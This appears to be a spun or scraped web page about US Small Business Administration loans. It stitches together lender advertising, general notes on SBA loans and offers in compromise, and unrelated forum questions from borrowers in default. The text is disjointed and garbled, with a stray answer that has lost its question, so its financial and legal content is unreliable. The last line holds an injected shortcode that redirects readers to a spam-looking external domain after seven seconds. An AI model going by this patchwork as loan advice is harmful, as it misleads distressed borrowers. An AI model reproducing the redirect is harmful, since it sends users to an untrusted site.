The qualifications for each type of SBA Disaster Loan are slightly different. One key difference shared by all of them is that your will be applying for a loan when your may not be in great shape. Despite this fact, the SBA still requires that:
One of the most difficult roadblocks to overcome can be finding the right small business loan at the great rate you need. And yet, small businesses provide the essential financial backbone in our local communities. At Prosper, we understand this.
New avenues also are opening up for equity crowdfunding, in which you tap a public pool of investors who agree to finance your small business in exchange for equity ownership. This became an even broader option recently with new securities regulations that allow small-business owners to reach out to mom-and-pop investors, not just accredited investors.
With the lender paid, you would now be dealing with the SBA. You’d get a notice from the SBA, explaining that you need to pay the remaining balance or present an “offer in compromise.” An offer in compromise is a situation where the SBA will review your financial situation and perhaps accept less than is actually required. The key in these situations is for you to present a settlement amount that is substantial, but also sustainable given your finances. The SBA obviously has no interest in payment plans that you wouldn’t be able to meet.

I really need some help. My wife, prior to us getting married, has an SBA loan with a former boyfriend. She hasnt been involved in the business in 5+ years but they used their old condo as collateral to obtain the loan. The condo has been foreclosed on and I’ve been told that her ex has re-collateralized the loan (probably lying). I’ve also learned that her ex has begun to miss payments on the loan and that they’ve closed the business.
Since your business has steady revenue and has been operating for more than a year, consider OnDeck and Kabbage. If your personal credit score is at least 500, OnDeck offers term loans up to $500,000, which is an attractive option for large expansion projects or buying expensive equipment. If you’re looking for short-term financing or need a smaller amount, consider Kabbage, which does not require a minimum credit score. Kabbage offers only six- or 12-month financing of up to $250,000 at high borrowing costs.
I have in California n went into default on my sba 7a loan since 2010. All the collateral properties including the business property were sold. Now I still owe approx. $750,000.00. I have not pay or heard from the bank since 2011. What should I do or expect next?
Second question first. If the OIC was properly prepared, you have been released from your personal guarantee. As to the 1099, it should be sent to the entity that took out the loan, not you. If you had an LLC or corporation, they got the money. You were a guarantor not the borrower.

Government loans are typically offered through banks and credit unions that partner with the Small Business Administration (SBA). The SBA is a U.S. government body, with the motive of providing support for small businesses and entrepreneurs. For each loan authorized, a government-backed guarantee offers serious credibility, since the lender knows that even if you default, the government will pay off the balance. These loans can be applied to a number of uses, such as:
Whether a business loan, a car loan or a mortgage, the first question a lender will ask you is “how much do you want?” As a business owner you should ask yourself “how much can I afford to repay, and on what terms”, then work back from there.
The application process for an SBA line of credit through the CAPLines Program is similar to that for an SBA 7(a) loan. Lenders, like banks and credit unions, that participate in the SBA 7(a) program are likely to also participate in the CAPLines program. However, as we mentioned earlier, these lines of credit can be difficult to get as standalone products. Typically you’ll need to bring a lot of other business to a lender to have them find underwriting an SBA line of credit to be worth it.
Hi, I need some advice. My mother and I have a SBA -Katrina disaster in 2005, Florida for $34,000. In 2012 I filed for bankruptcy chapter 13. The loan was removed since the property value decreased to hold the first and the second mortgage. My concern is that SBA will go against my mother and later on to the property if the property gain equity.
Prior to submitting your application, it is important to consider the documents you’ll need to compile. We require your business’s three most recent bank statements and our one-page application to get started. Depending on other factors, a lender may request a month-to-date bank statement, tax returns, P&L and balance sheet.
My mother is 81 years old, widow and living from her social security $700 a month. In 2010, I did a quick claim deed to have the only on my name, but the SBA loan was originated in 2005. Actually I am working a modification with my bank and they told me there are some issues with the property title and the SBA loan with her name. I am waiting for the bank response, but I would like to know if the settlement could be an option for her. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]
